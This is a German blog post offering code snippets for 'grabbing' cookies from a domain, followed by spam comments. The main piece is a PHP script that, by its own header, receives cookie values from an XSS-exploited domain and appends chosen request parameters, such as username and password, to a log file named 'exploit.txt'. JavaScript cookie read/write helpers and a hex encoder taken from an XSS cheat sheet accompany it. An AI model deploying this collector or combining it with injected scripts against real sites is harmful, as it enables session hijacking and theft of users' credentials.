Jul 02
Code Snippets
Wenn jemand gewisse Cookies von einer Domain “abgreifen” muss, könnten diese beiden Code Snippets hilfreich sein. Das erste PHP-Script erspart einem immer wieder ein neues Script zu schreiben weil man hier und da einen Wert mehr braucht als dort o.ä.
Mittels dem Parameter “c” werden dem Script durch : separiert die Werte mittgeteilt die übermittelt werden. Über den optionalen Parameter “l” kann ein Dateiname festgelegt werden. Anschließend müssen natürlich noch die benutzerdefinierten Werte übergeben werden.
Im Script selbst können dann noch die Werte für die Dateierweiterung, den Zugriffsmodus der Datei, den Standard Dateiname, sowie der Separator angepasst werden.
<?php /* ######################################################### # # Variable script to pass maybe cookie values from an xssed domain # or something totally different #======================================================== # # Author: Wildcat # # Website: http://www.the-wildcat.de/ # # email: wildcat[at]the-wildcat[DoT]de # #======================================================== # # Usage: http://urltoscript/scriptname.php?c=user:password&l=some_special_filename&user=max&password=something_secret # ########################################################## */ function died() { die('go away dude'); } function c($c) { if (preg_match('/[^a-z0-9_-]/i',$c) || strlen($c) > 255) died(); return true; } $ext = '.txt'; $lf = 'exploit'.$ext; $fm = 'a'; $separator = ':'; $p = ''; $maxReq = 35; $_ = $_REQUEST; if (!isset($_['c']) || count($_) > $maxReq) { died(); }else { if (isset($_['l']) && c($_['l'])) { $lf = $_['l'].$ext; } $params = explode(':',$_['c']); array_map('c',$params); if (($fh = fopen($lf,$fm)) === NULL) { died(); } foreach ($params as $param) { if (!isset($_[$param])) died(); $p .= sprintf('%s',$_[$param].$separator); } fwrite($fh,sprintf("%s\n",htmlspecialchars( /**/substr($p,0,strlen($p)-strlen($separator))/**/ ), ENT_NOQUOTES,'utf8') ); fclose($fh); } ?>
Ein nützliches Javascript Snippet zum auslesen, löschen und erzeugen von Cookies. Sowie eine bessere encode Funktion. Diese ist aus rsnakes XSS Cheatsheet.
function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function createCookie(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; } function deleteCookie(name) { createCookie(name,"",-1); } function convertToHex(num) { var hex = ''; for (i=0;i<num.length;i++) { if (num.charCodeAt(i).toString(16).toUpperCase().length < 2) { hex += "%0" + num.charCodeAt(i).toString(16).toUpperCase(); } else { hex += "%" + num.charCodeAt(i).toString(16).toUpperCase(); } } return hex; }

12. Juni 2010 um 18:30
How do you do! Please e-mail me your contacts. I have a question gavin@trensavto.ru” rel=”nofollow”>……
Thank you!…
16. Juni 2010 um 10:36
Добрый день! thomas@sotkashop.ru” rel=”nofollow”>……
С уважением,…